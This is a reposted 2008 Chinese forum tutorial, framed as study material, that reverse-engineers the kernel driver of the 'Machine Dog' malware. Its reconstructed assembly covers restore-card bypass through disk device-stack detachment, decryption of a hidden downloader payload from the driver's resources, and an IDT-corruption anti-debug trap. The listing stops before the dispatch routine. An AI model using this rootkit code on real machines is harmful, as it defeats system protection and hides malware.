1object hook.docx
- 文档编号:27863814
- 上传时间:2023-07-05
- 格式:DOCX
- 页数:20
- 大小:21.58KB
1object hook.docx
《1object hook.docx》由会员分享,可在线阅读,更多相关《1object hook.docx(20页珍藏版)》请在冰豆网上搜索。
1objecthook
标题:
【原创】RootKithook之[一]objecthook
作者:
combojiang
时间:
2008-01-08,11:
43
链接:
今天是2008年1月8号,一个非常响亮的日子,今天我们将开始rootkit实战之旅。
第一篇是object hook.
这篇文章来源于前段时间我逆向的机器狗代码,前段时间我只是贴出了应用的部分,对于内核的部分,我没有贴出来,主要是害怕他被别人利用。
但是从学习角度来讲,这里面rootkit的应用,却是一个非常好的学习例子,所以今天我把它拿出来作为我们rootkit的开篇来讲。
希望大家不要将代码用于他途。
对于这个rootkit,突破还原是它的一部分功能,但是精彩的部分不在此,而在于它的信息加密与隐藏还有他自身的反调试技术。
逆向分析之余,对于作者的良苦用心,我还是叹息不已,作者可以把这个搞得这么精彩,如果用于正途,那会造福多少人。
。
。
。
。
。
信息隐藏亮点之一:
将rootkit作为资源隐藏于用户模式程序之中
亮点之二:
将这个用户程序代码作为生成密钥的引子,可以有效地防止逆向后,隐藏信息被纰漏,因为只有逆向后生成的代码,跟原作者的代码丝毫不差,将来才能打开其隐藏至深的下载者链接及代码。
亮点之三:
用一个固定的KEY,通过某种运算,产生出1024个密钥组成的数组。
然后用这个密钥组与用户代码进行运算,最终生成一个4字节的解码KEY。
利用解码KEY,在从加载到内存的驱动中,找出隐藏在其资源中的那份肮脏的
下载者代码及名单解析出来,返回用户程序,用户程序用它来做坏事,并且最后
还要把痕迹擦得一干二净。
亮点之四:
修改idt 0e号中断,让他指向一个无效地址,从而在调试的时候让你蓝屏,起到
反调试的功能。
这些亮点仅仅是rootkit中的,作为用户代码部分还有很多的亮点,由于前段时间已经贴出它的代码,并作了详细注释,因此大家可以参照看看它的亮点在哪里。
好了,我们言归正传。
突破还原卡原理:
在这里他使用的就是object hook大法。
1。
IRP_MJ_CREATE例程负责得到磁盘设备对象,调用IoGetDeviceObjectPointer函数得到设备名“\\Device\\Harddisk0\\DR0”的设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。
2。
IRP_MJ_CLOSE 中对恢复DR0上的附加,做到来无影去无踪。
分析了这么多,我们来看逆向的代码:
.386
.model flat, stdcall
option casemap:
none
include pcihdd.inc
.data
aDevicePhysical db '\Device\PhysicalHardDisk0',0
aDosdevicesPhys db '\DosDevices\PhysicalHardDisk0',0
SourceString db '\Device\Harddisk0\DR0',0
g_DeviceObject dd 0
g_AttachedDevice dd 0
DecodeKey dd 1024 dup (0)
DecodeKEY dd 0
P dd 0
NumberOfBytes dd 0
IDTData db 6 dup(0)
Format db '%08X',0
.code
;*******************************************************************************
; 产生一个解密密钥数组
;*******************************************************************************
CreateDecodeKey proc
jmp short $+2 ;花指令
mov ecx, 100h
mov edx, 0CCECC9B1h ;KEY
OutLoop:
lea eax, [ecx-1]
push ecx
mov ecx, 8
InLoop:
shr eax, 1
jnb ContinueLoop
xor eax, edx
ContinueLoop:
dec ecx
jnz InLoop
pop ecx
mov DecodeKey[ecx*4], eax ;保存解密密钥数组
dec ecx
jnz OutLoop
retn
CreateDecodeKey endp
;*****************************************************************************
; 将用户态传入的整个代码体与上面产生的解密密钥数组运算,最终生成一个解密KEY,该
; 解密KEY将会用于解密驱动资源的内容,将解密后的资源内容反馈给用户.(看start)
;*****************************************************************************
DecodeInputData proc near
jmp short $+2 ;花指令
mov eax, 0FFFFFFFFh
or ebx, ebx ;判断IRP.AssociatedIrp.SystemBuffer是否为空
jz Quit
@@:
mov dl, [ebx]
xor dl, al
movzx edx, dl
shr eax, 8
xor eax, DecodeKey[edx*4]
inc ebx
dec ecx
jnz @B
Quit:
not eax
retn
DecodeInputData endp
;************************************************************************
; 在第三级资源中取出资源信息,成功后,返回取出的资源长度
;************************************************************************
SearchResourceByIDInThirdLayer proc PEHeader:
dword,ResourceAddr:
dword,ChildResource:
dword,pOutValue:
dword
LOCAL RetValue:
dword
pusha
xor eax, eax
mov RetValue, eax
mov esi, ChildResource
mov cx, [esi+0Ch];以名称命名的入口数量
add cx, [esi+0Eh];以ID命名的入口数量
movzx ecx, cx
add esi, 10h ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
cmp ecx, 0
jbe Quit
mov ebx, [esi+4] ;offsetToData目录项指针
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;ebx指向IMAGE_RESOURCE_DATA_ENTRY结构
mov eax, [ebx] ;取资源数据的RVA ,对应于IMAGE_RESOURCE_DATA_ENTRY结构中的第一项
add eax, PEHeader
mov ecx, pOutValue ;pOutValue指向资源数据的地址
mov [ecx], eax
mov ecx, [ebx+4]
mov RetValue, ecx ;返回资源数据的长度
Quit:
popa
mov eax, RetValue
retn
SearchResourceByIDInThirdLayer endp
;************************************************************************
; 在第二级资源中查找ID为ChildResID的资源项
;************************************************************************
SearchResourceByIDInSecondLayer proc PEHeader:
dword,ResourceAddr:
dword,ChildResource:
dword,ChildResID:
dword,pOutValue:
dword
LOCAL RetValue:
dword
pusha
xor eax, eax
mov RetValue, eax
mov esi, ChildResource
mov cx, [esi+0Ch] ;以名称命名的入口数量
add cx, [esi+0Eh] ;以ID命名的入口数量
movzx ecx, cx
add esi, 10h ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
jmp StartSearchChildDirectoryEntry
ContinueSearchChildDirectoryEntry:
push ecx
mov ebx, [esi+4] ;offsetToData目录项指针
test ebx, 80000000h
jz JumpOver ;; 如果最高31位为0,则跳过,继续读下一条目录项
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;否则取下一层地址
mov edx, [esi] ;取目录项字符串指针或者ID
test edx, 80000000h
jnz JumpOver ;如果31位为1的话,[esi]低位代表字符串指针
cmp edx, ChildResID
jnz JumpOver
push pOutValue
push ebx
push ResourceAddr
push PEHeader
call SearchResourceByIDInThirdLayer
mov RetValue, eax
or eax, eax
jz JumpOver
pop ecx
jmp Quit
JumpOver:
add esi, 8
pop ecx
dec ecx
StartSearchChildDirectoryEntry:
cmp ecx, 0
ja ContinueSearchChildDirectoryEntry
Quit:
popa
mov eax, RetValue
retn
SearchResourceByIDInSecondLayer endp
;******************************************************************************************
; 在第一级资源中搜索ID为RESOURCEID的资源
;******************************************************************************************
SearchResourceByIDInFirstLayer proc PEHeader:
dword,ChildResID:
dword,RESOURCEID:
dword,pOutValue:
dword
LOCAL retvalue:
dword
LOCAL ResourceAddr:
dword
pusha
xor eax, eax
mov retvalue, eax
mov edi, PEHeader
mov edi, [edi+3Ch]
add edi, PEHeader
mov ecx, [edi+8Ch] ;资源表大小
or ecx, ecx
jz QUIT
mov eax, [edi+88h] ;资源表RVA
add eax, PEHeader
mov ResourceAddr, eax
push eax ; VirtualAddress
call MmIsAddressValid
or eax, eax
jnz @F
jmp QUIT
@@:
mov esi, ResourceAddr
mov cx, [esi+0Ch];以名称命名的入口数量
add cx, [esi+0Eh];以ID命名的入口数量
movzx ecx, cx
add esi, 10h ;esi指向后面的IMAGE_RESOURCE_DIRECTORY_ENTRY
jmp StartSearchDirectoryEntry
ContinueSearchDirectoryEntry:
push ecx
mov ebx, [esi+4] ;offsetToData目录项指针
test ebx, 80000000h
jz JumpOver ; 如果最高31位为0,则跳过,继续读下一条目录项
and ebx, 7FFFFFFFh
add ebx, ResourceAddr ;保存下一层地址
mov eax, [esi];取目录项字符串指针或者ID
test eax, 80000000h
jnz JumpOver ;如果31位为1的话,[esi]低位代表字符串指针
cmp eax, RESOURCEID
jnz JumpOver
push pOutValue ;找到匹配的资源ID
push ChildResID
push ebx
push ResourceAddr
push PEHeader
call SearchResourceByIDInSecondLayer
mov retvalue, eax
pop ecx
jmp QUIT
JumpOver:
add esi, 8 ;继续读下一条目录项
pop ecx
dec ecx
StartSearchDirectoryEntry:
cmp ecx, 0 ;判断目录块是否遍历完毕
ja ContinueSearchDirectoryEntry
QUIT:
popa
mov eax, retvalue
retn
SearchResourceByIDInFirstLayer endp
; ************************************************************************
; 获取当前驱动文件的内存加载位置,如果没找到,返回0
;*************************************************************************
GetPeHeader proc near
LOCAL PEStart:
dword
pusha
mov PEStart, 0
CURRENT_EIP:
lea ebx, CURRENT_EIP
and ebx, 0FFFFFC00h ; 将低10位清零
CHECKPEHEADER:
; VirtualAddress
push ebx
call MmIsAddressValid ;判断当前地址是否有效
or eax, eax
jz QUIT ;不成功则跳转退出
cmp ebx, 80000000h ;如果当前的eip小于等于80000000h,则退出
jbe QUIT
cmp word ptr [ebx], 5A4Dh ; 'MZ'
jnz SEARCHDOSHEADER
mov edi, ebx
add edi, [ebx+3Ch]
push edi ; VirtualAddress
call MmIsAddressValid
or eax, eax
jz SEARCHPEHEADER
cmp word ptr [edi], 4550h ;'PE'
jnz SEARCHPEHEADER
mov PEStart, ebx
jmp QUIT
SEARCHPEHEADER:
sub ebx, 400h
jmp CHECKPEHEADER
jmp QUIT
SEARCHDOSHEADER:
sub ebx, 400h
jmp CHECKPEHEADER
QUIT:
popa
mov eax, PEStart
retn
GetPeHeader endp
; ***************************************************************************
; 检查9号中断描述符和E号中断描述符的偏移地址高位字节,如果9号中断描述符的
; 偏移地址高位字节为0,则退出,若不为0,则判断E号中断描述符的偏移地址高位字节
; 与9号中断描述符偏移地址高位字节进行比对,若两者相等,则退出。
否则设置E号中断
; 描述符的偏移地址高16位为0.使其指向一个错误的地址。
破坏该中断的功能。
; 由于很多调式器会挂接中断0xE,该Rootkit这样做可以使该程序在调式时造成系统蓝屏。
; 因此这是作者设置的反调式陷阱。
;****************************************************************************
AntiDebug proc near
LOCAL nTemp:
dword
pusha
sidt fword ptr IDTData
mov esi, dword ptr IDTData+2 ;取基地址
mov eax, 9 ;index = 9, #interrupt 09
shl eax, 3 ;每个描述符占8字节
add esi, eax ;esi指向9号描述符
movzx eax, word ptr [esi+6] ;取中断函数高16位偏移地址
shl eax, 10h
mov ax, [esi] ;取中断函数低16位偏移地址
and eax, 0FF000000h ;取偏移地址的一个高字节
mov nTemp, eax
test eax, eax
jz QUIT
mov esi, dword ptr IDTData+2 ;取基地址
mov eax, 0Eh ;index = E, #interrupt 0E
shl eax, 3 ;每个描述符占8字节
add esi, eax ;esi指向E号描述符
movzx eax, word ptr [esi+6] ;取中断函数高16位偏移地址
shl eax, 10h
mov ax, [esi] ;取中断函数低16位偏移地址
and eax, 0FF000000h ;取偏移地址的一个高字节
cmp eax, nTemp ;比较这两个中断描述符中的偏移地址高位字节
jz QUIT
mov word ptr [esi+6], 0 ;改中断门偏移地址,设置高16位为0
QUIT:
popa
retn
AntiDebug endp
;************************************************************************************
; 处理IRP_MJ_DEVICE_CONTROL,IRP_MJ_CREATE,IRP_MJ_CLOSE请求
; IRP_MJ_CREATE例程负责得到磁盘设备对象,并检测该设备栈上是否有其他设备挂接,假如有则保存该设备并去除该挂接。
; 调用IoGetDeviceObjectPointer函数得到设备名“\\Device\\Harddisk0\\DR0”的设备对象。
; IRP_MJ_CLOSE 中对恢复DR0上的附加
; IRP_MJ_DEVICE_CONTROL中对0xF0003C04作出响应,首先根据一个固定KEY产生一个解密数组,然后
; 把用户输入的代码跟解密数组运算,最终产生一个密钥,最后,用这个密钥解密前面找出的sys资源,将
; 解密后的内容返给用户程序。
;************************************************************************************
DispatchFunction
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 1object hook object